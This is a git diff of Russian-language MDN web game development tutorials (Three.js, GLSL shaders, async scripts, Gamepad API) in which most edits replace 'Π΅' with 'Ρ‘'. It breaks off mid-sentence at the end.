+<p>Если Π²Ρ‹ сохранитС ΠΊΠΎΠ΄ ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ Π²ΠΊΠ»Π°Π΄ΠΊΡƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚, Π° Π½Π΅ ΠΊΡƒΠ±, ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ стоит Ρ€ΠΎΠ²Π½ΠΎ Π½Π°ΠΏΡ€ΠΎΡ‚ΠΈΠ² ΠΊΠ°ΠΌΠ΅Ρ€Ρ‹ ΠΈ ΠΌΡ‹ Π²ΠΈΠ΄ΠΈΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Ρƒ сторону. Π£ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π΅ΡΡ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠ΅ свойство - ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΈΡ… ΠΊΠ°ΠΊ Ρ…ΠΎΡ‚ΠΈΠΌ. НапримСр, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΈ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, сколько ΡƒΠ³ΠΎΠ΄Π½ΠΎ. Π§Ρ‚ΠΎ Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ²Π΅Ρ€Π½Ρ‘ΠΌ Π΅Π³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ большС сторон.Β  Π”ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π² ΠΊΠΎΠ½Π΅Ρ† ΠΊΠΎΠ΄Π° эту строку:</p>
<pre class="brush: js notranslate">cube.rotation.set(0.4, 0.2, 0);
</pre>
@@ -217,7 +217,7 @@ scene.add(light);
<h2 id="Анимация">Анимация</h2>
-<p>ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ 'rotation', Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΊΡƒΠ±Π°. Π’Π°ΠΊΠΆΠ΅ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΠΈΠ³ΡƒΡ€Ρ‹ ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΈΡ… ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅. Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ Π½ΡƒΠΆΠ½ΠΎ внСсСнныС измСнСния внСсти Π² Ρ†ΠΈΠΊΠ» Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ измСнСния происходили Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΊΠ°Π΄Ρ€Π΅.</p>
+<p>ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ 'rotation', Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΊΡƒΠ±Π°. Π’Π°ΠΊΠΆΠ΅ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΠΈΠ³ΡƒΡ€Ρ‹ ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΈΡ… ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅. Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ Π½ΡƒΠΆΠ½ΠΎ внСсённыС измСнСния внСсти Π² Ρ†ΠΈΠΊΠ» Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ измСнСния происходили Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΊΠ°Π΄Ρ€Π΅.</p>
<h3 id="Π’Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅">Π’Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅</h3>
diff --git a/files/ru/games/techniques/3d_on_the_web/glsl_shaders/index.html b/files/ru/games/techniques/3d_on_the_web/glsl_shaders/index.html
index 9121cc00e2..7b7c6dc59e 100644
--- a/files/ru/games/techniques/3d_on_the_web/glsl_shaders/index.html
+++ b/files/ru/games/techniques/3d_on_the_web/glsl_shaders/index.html
@@ -131,7 +131,7 @@ translation_of: Games/Techniques/3D_on_the_web/GLSL_Shaders
<pre class="brush: js">// var basicMaterial = new THREE.MeshBasicMaterial({color: 0x0095DD});
</pre>
-<p>Π”Π°Π»Π΅Π΅, создаСм <a href="http://threejs.org/docs/#Reference/Materials/ShaderMaterial"><code>shaderMaterial</code></a>:</p>
+<p>Π”Π°Π»Π΅Π΅, создаём <a href="http://threejs.org/docs/#Reference/Materials/ShaderMaterial"><code>shaderMaterial</code></a>:</p>
<pre class="brush: js">var shaderMaterial = new THREE.ShaderMaterial( {
vertexShader: document.getElementById( 'vertexShader' ).textContent,
diff --git a/files/ru/games/techniques/async_scripts/index.html b/files/ru/games/techniques/async_scripts/index.html
index 914600cd94..2f50c87da4 100644
--- a/files/ru/games/techniques/async_scripts/index.html
+++ b/files/ru/games/techniques/async_scripts/index.html
@@ -24,11 +24,11 @@ translation_of: Games/Techniques/Async_scripts
script.src = "file.js";
document.body.appendChild(script);</code></pre>
-<p><font><font>(ΡΠΊΡ€ΠΈΠΏΡ‚Ρ‹Β ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ ΠΈΠ· скрипта ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽΒ </font></font><code>async</code><font><font>.) Бтандартная ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΠ° HTML, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ Emscripten, создаСт послСднСС.</font></font></p>
+<p><font><font>(ΡΠΊΡ€ΠΈΠΏΡ‚Ρ‹Β ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ ΠΈΠ· скрипта ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽΒ </font></font><code>async</code><font><font>.) Бтандартная ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΠ° HTML, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ Emscripten, создаёт послСднСС.</font></font></p>
<h2 id="Когда_асинхронный_Π½Π΅_асинхронный"><font><font>Когда асинхронный Π½Π΅ асинхронный?</font></font></h2>
-<p><font><font>Π”Π²Π΅ распространСнныС ситуации, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… сцСнарий * Π½Π΅ * асинхронСн (ΠΊΠ°ΠΊΒ </font></font><a href="http://www.w3.org/TR/html5/scripting-1.html"><font><font>ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ спСцификациСй HTML</font></font></a><font><font>Β ):</font></font></p>
+<p><font><font>Π”Π²Π΅ распространённыС ситуации, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… сцСнарий * Π½Π΅ * асинхронСн (ΠΊΠ°ΠΊΒ </font></font><a href="http://www.w3.org/TR/html5/scripting-1.html"><font><font>ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ спСцификациСй HTML</font></font></a><font><font>Β ):</font></font></p>
<pre><code>&lt;script async&gt;code&lt;/script&gt;</code></pre>
diff --git a/files/ru/games/techniques/controls_gamepad_api/index.html b/files/ru/games/techniques/controls_gamepad_api/index.html
index 512f3143d4..6f84031d8d 100644
--- a/files/ru/games/techniques/controls_gamepad_api/index.html
+++ b/files/ru/games/techniques/controls_gamepad_api/index.html
@@ -17,13 +17,13 @@ translation_of: Games/Techniques/Controls_Gamepad_API
<h2 id="Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹_управлСния_для_web_ΠΈΠ³Ρ€">Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ управлСния для web ΠΈΠ³Ρ€</h2>
-<p>Π˜ΡΡ‚ΠΎΡ€ΠΈΡ‡Π΅ΡΠΊΠΈ ΠΈΠ³Ρ€Π°Β Π½Π° консоли, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠΉ ΠΊ Ρ‚Π΅Π»Π΅Π²ΠΈΠ·ΠΎΡ€Ρƒ, всСгда Π±Ρ‹Π»Π° ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΎΠΏΡ‹Ρ‚ΠΎΠΌ, Ρ‡Π΅ΠΌ ΠΈΠ³Ρ€Π° Π½Π° ПК, Π² основном ΠΈΠ·-Π·Π° ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ… элСмСнтов управлСния. Π’ ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠΎΠ½Ρ†ΠΎΠ², Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Π΄Ρ€Π°ΠΉΠ²Π΅Ρ€Ρ‹ ΠΈ ΠΏΠ»Π°Π³ΠΈΠ½Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΠ»ΠΈ Π½Π°ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠ½ΡΠΎΠ»ΡŒΠ½Ρ‹Π΅ Π³Π΅ΠΉΠΌΠΏΠ°Π΄Ρ‹ с Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΈΠ³Ρ€Π°ΠΌΠΈ - Π»ΠΈΠ±ΠΎ Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΌΠΈ ΠΈΠ³Ρ€Π°ΠΌΠΈ, Π»ΠΈΠ±ΠΎ Ρ‚Π΅ΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Π’Π΅ΠΏΠ΅Ρ€ΡŒ, Π² эпоху HTML5, Ρƒ нас Π½Π°ΠΊΠΎΠ½Π΅Ρ† Π΅ΡΡ‚ΡŒ API Gamepad, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄Π°Π΅Ρ‚ Π½Π°ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΈΠ³Ρ€Π°Ρ‚ΡŒ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹Π΅ ΠΈΠ³Ρ€Ρ‹ с использованиСм Π³Π΅ΠΉΠΌΠΏΠ°Π΄-ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Ρ‹ Π±Π΅Π· ΠΊΠ°ΠΊΠΈΡ…-Π»ΠΈΠ±ΠΎ ΠΏΠ»Π°Π³ΠΈΠ½ΠΎΠ². API Gamepad достигаСт этого, прСдоставляя интСрфСйс, Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉ наТатия ΠΊΠ½ΠΎΠΏΠΎΠΊ ΠΈ измСнСния оси, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΠ΄Π° JavaScript для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…. Π­Ρ‚ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΈΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½Π° для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹Ρ… ΠΈΠ³Ρ€.</p>
+<p>Π˜ΡΡ‚ΠΎΡ€ΠΈΡ‡Π΅ΡΠΊΠΈ ΠΈΠ³Ρ€Π°Β Π½Π° консоли, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠΉ ΠΊ Ρ‚Π΅Π»Π΅Π²ΠΈΠ·ΠΎΡ€Ρƒ, всСгда Π±Ρ‹Π»Π° ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΎΠΏΡ‹Ρ‚ΠΎΠΌ, Ρ‡Π΅ΠΌ ΠΈΠ³Ρ€Π° Π½Π° ПК, Π² основном ΠΈΠ·-Π·Π° ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ… элСмСнтов управлСния. Π’ ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠΎΠ½Ρ†ΠΎΠ², Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Π΄Ρ€Π°ΠΉΠ²Π΅Ρ€Ρ‹ ΠΈ ΠΏΠ»Π°Π³ΠΈΠ½Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΠ»ΠΈ Π½Π°ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠ½ΡΠΎΠ»ΡŒΠ½Ρ‹Π΅ Π³Π΅ΠΉΠΌΠΏΠ°Π΄Ρ‹ с Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΈΠ³Ρ€Π°ΠΌΠΈ - Π»ΠΈΠ±ΠΎ Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΌΠΈ ΠΈΠ³Ρ€Π°ΠΌΠΈ, Π»ΠΈΠ±ΠΎ Ρ‚Π΅ΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Π’Π΅ΠΏΠ΅Ρ€ΡŒ, Π² эпоху HTML5, Ρƒ нас Π½Π°ΠΊΠΎΠ½Π΅Ρ† Π΅ΡΡ‚ΡŒ API Gamepad, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΈΠ³Ρ€Π°Ρ‚ΡŒ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹Π΅ ΠΈΠ³Ρ€Ρ‹ с использованиСм Π³Π΅ΠΉΠΌΠΏΠ°Π΄-ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Ρ‹ Π±Π΅Π· ΠΊΠ°ΠΊΠΈΡ…-Π»ΠΈΠ±ΠΎ ΠΏΠ»Π°Π³ΠΈΠ½ΠΎΠ². API Gamepad достигаСт этого, прСдоставляя интСрфСйс, Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉ наТатия ΠΊΠ½ΠΎΠΏΠΎΠΊ ΠΈ измСнСния оси, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΠ΄Π° JavaScript для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…. Π­Ρ‚ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΈΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½Π° для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹Ρ… ΠΈΠ³Ρ€.</p>
<p><img alt="gamepad-controls" src="http://end3r.com/tmp/gamepad/gamepadapi-hungryfridge-img01.png" style="display: block; height: 400px; margin: 0px auto; width: 600px;"></p>
<h2 id="API_статус_ΠΈ_ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°">API статус ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</h2>
-<p><a href="http://www.w3.org/TR/gamepad/">Gamepad API</a> всС Π΅Ρ‰Π΅ находится Π½Π° стадии Ρ€Π°Π±ΠΎΡ‡Π΅Π³ΠΎ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° Π² процСссС W3C, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π΅Π³ΠΎ рСализация всС Π΅Ρ‰Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒΡΡ, Π½ΠΎ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΡƒΠΆΠ΅ довольно Ρ…ΠΎΡ€ΠΎΡˆΠ°. Firefox 29+ ΠΈ Chrome 35+ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Π΅Π³ΠΎ сразу послС установки. Opera ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ API Π² вСрсии 22+ (Π½Π΅ΡƒΠ΄ΠΈΠ²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ, учитывая, Ρ‡Ρ‚ΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΎΠ½ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π΄Π²ΠΈΠΆΠΎΠΊ Blink Chrome.) И Microsoft Π½Π΅Π΄Π°Π²Π½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π»Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ API Π² Edge,Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ основных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ API Gamepad.</p>
+<p><a href="http://www.w3.org/TR/gamepad/">Gamepad API</a> всС Π΅Ρ‰Ρ‘ находится Π½Π° стадии Ρ€Π°Π±ΠΎΡ‡Π΅Π³ΠΎ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° Π² процСссС W3C, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π΅Π³ΠΎ рСализация всС Π΅Ρ‰Ρ‘ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒΡΡ, Π½ΠΎ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΡƒΠΆΠ΅ довольно Ρ…ΠΎΡ€ΠΎΡˆΠ°. Firefox 29+ ΠΈ Chrome 35+ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Π΅Π³ΠΎ сразу послС установки. Opera ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ API Π² вСрсии 22+ (Π½Π΅ΡƒΠ΄ΠΈΠ²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ, учитывая, Ρ‡Ρ‚ΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΎΠ½ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π΄Π²ΠΈΠΆΠΎΠΊ Blink Chrome.) И Microsoft Π½Π΅Π΄Π°Π²Π½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π»Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ API Π² Edge,Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ основных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ API Gamepad.</p>
<h2 id="КакиС_Π³Π΅ΠΉΠΌΠΏΠ°Π΄Ρ‹_Π»ΡƒΡ‡ΡˆΠ΅_всСго">КакиС Π³Π΅ΠΉΠΌΠΏΠ°Π΄Ρ‹ Π»ΡƒΡ‡ΡˆΠ΅ всСго?</h2>
@@ -37,11 +37,11 @@ translation_of: Games/Techniques/Controls_Gamepad_API
<p>The competition ran in November 2013 andΒ  decided to take part in it. The theme for the competition was "change", so they submitted a game where you have to feed the Hungry Fridge by tapping the healthy food (apples, carrots, lettuces) and avoid the "bad" food (beer, burgers, pizza.) A countdown changes the type of food the Fridge wants to eat every few seconds, so you have to be careful and act quickly. You can <a href="http://enclavegames.com/games/hungry-fridge/">try Hungry Fridge here</a>.</p>
-<p>ΠšΠΎΠ½ΠΊΡƒΡ€Ρ <a href="https://github.com/blog/1674-github-game-off-ii">GitHub Game Off II</a> состоялся Π² ноябрС 2013 Π³ΠΎΠ΄Π°, ΠΈ <a href="http://enclavegames.com/">Enclave Games</a>Β Ρ€Π΅ΡˆΠΈΠ»Π° ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ Π² Π½Π΅ΠΌ участиС. Π’Π΅ΠΌΠ° для конкурса Π±Ρ‹Π»Π° "ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Π°", поэтому ΠΎΠ½ΠΈ прСдставили ΠΈΠ³Ρ€Ρƒ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π½Π°ΠΊΠΎΡ€ΠΌΠΈΡ‚ΡŒ Π³ΠΎΠ»ΠΎΠ΄Π½Ρ‹ΠΉ Ρ…ΠΎΠ»ΠΎΠ΄ΠΈΠ»ΡŒΠ½ΠΈΠΊ, Π½Π°ΠΆΠ°Π² Π½Π° Π·Π΄ΠΎΡ€ΠΎΠ²ΡƒΡŽ ΠΏΠΈΡ‰Ρƒ (яблоки, ΠΌΠΎΡ€ΠΊΠΎΠ²ΡŒ, салат) ΠΈ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ "ΠΏΠ»ΠΎΡ…ΠΎΠΉ" ΠΏΠΈΡ‰ΠΈ (ΠΏΠΈΠ²ΠΎ, Π³Π°ΠΌΠ±ΡƒΡ€Π³Π΅Ρ€Ρ‹, ΠΏΠΈΡ†Ρ†Π°.) ΠžΠ±Ρ€Π°Ρ‚Π½Ρ‹ΠΉ отсчСт мСняСт Ρ‚ΠΈΠΏ ΠΏΠΈΡ‰ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Ρ…ΠΎΠ»ΠΎΠ΄ΠΈΠ»ΡŒΠ½ΠΈΠΊ Ρ…ΠΎΡ‡Π΅Ρ‚ ΡΡŠΠ΅ΡΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹Π΅ нСсколько сСкунд, поэтому Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ остороТны ΠΈ Π΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ быстро. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ Π“ΠΎΠ»ΠΎΠ΄Π½Ρ‹ΠΉ Ρ…ΠΎΠ»ΠΎΠ΄ΠΈΠ»ΡŒΠ½ΠΈΠΊ <a href="http://enclavegames.com/games/hungry-fridge/">здСсь</a>.</p>
+<p>ΠšΠΎΠ½ΠΊΡƒΡ€Ρ <a href="https://github.com/blog/1674-github-game-off-ii">GitHub Game Off II</a> состоялся Π² ноябрС 2013 Π³ΠΎΠ΄Π°, ΠΈ <a href="http://enclavegames.com/">Enclave Games</a>Β Ρ€Π΅ΡˆΠΈΠ»Π° ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ Π² Π½Π΅ΠΌ участиС. Π’Π΅ΠΌΠ° для конкурса Π±Ρ‹Π»Π° "ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Π°", поэтому ΠΎΠ½ΠΈ прСдставили ΠΈΠ³Ρ€Ρƒ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π½Π°ΠΊΠΎΡ€ΠΌΠΈΡ‚ΡŒ Π³ΠΎΠ»ΠΎΠ΄Π½Ρ‹ΠΉ Ρ…ΠΎΠ»ΠΎΠ΄ΠΈΠ»ΡŒΠ½ΠΈΠΊ, Π½Π°ΠΆΠ°Π² Π½Π° Π·Π΄ΠΎΡ€ΠΎΠ²ΡƒΡŽ ΠΏΠΈΡ‰Ρƒ (яблоки, ΠΌΠΎΡ€ΠΊΠΎΠ²ΡŒ, салат) ΠΈ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ "ΠΏΠ»ΠΎΡ…ΠΎΠΉ" ΠΏΠΈΡ‰ΠΈ (ΠΏΠΈΠ²ΠΎ, Π³Π°ΠΌΠ±ΡƒΡ€Π³Π΅Ρ€Ρ‹, ΠΏΠΈΡ†Ρ†Π°.) ΠžΠ±Ρ€Π°Ρ‚Π½Ρ‹ΠΉ отсчёт мСняСт Ρ‚ΠΈΠΏ ΠΏΠΈΡ‰ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Ρ…ΠΎΠ»ΠΎΠ΄ΠΈΠ»ΡŒΠ½ΠΈΠΊ Ρ…ΠΎΡ‡Π΅Ρ‚ ΡΡŠΠ΅ΡΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹Π΅ нСсколько сСкунд, поэтому Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ остороТны ΠΈ 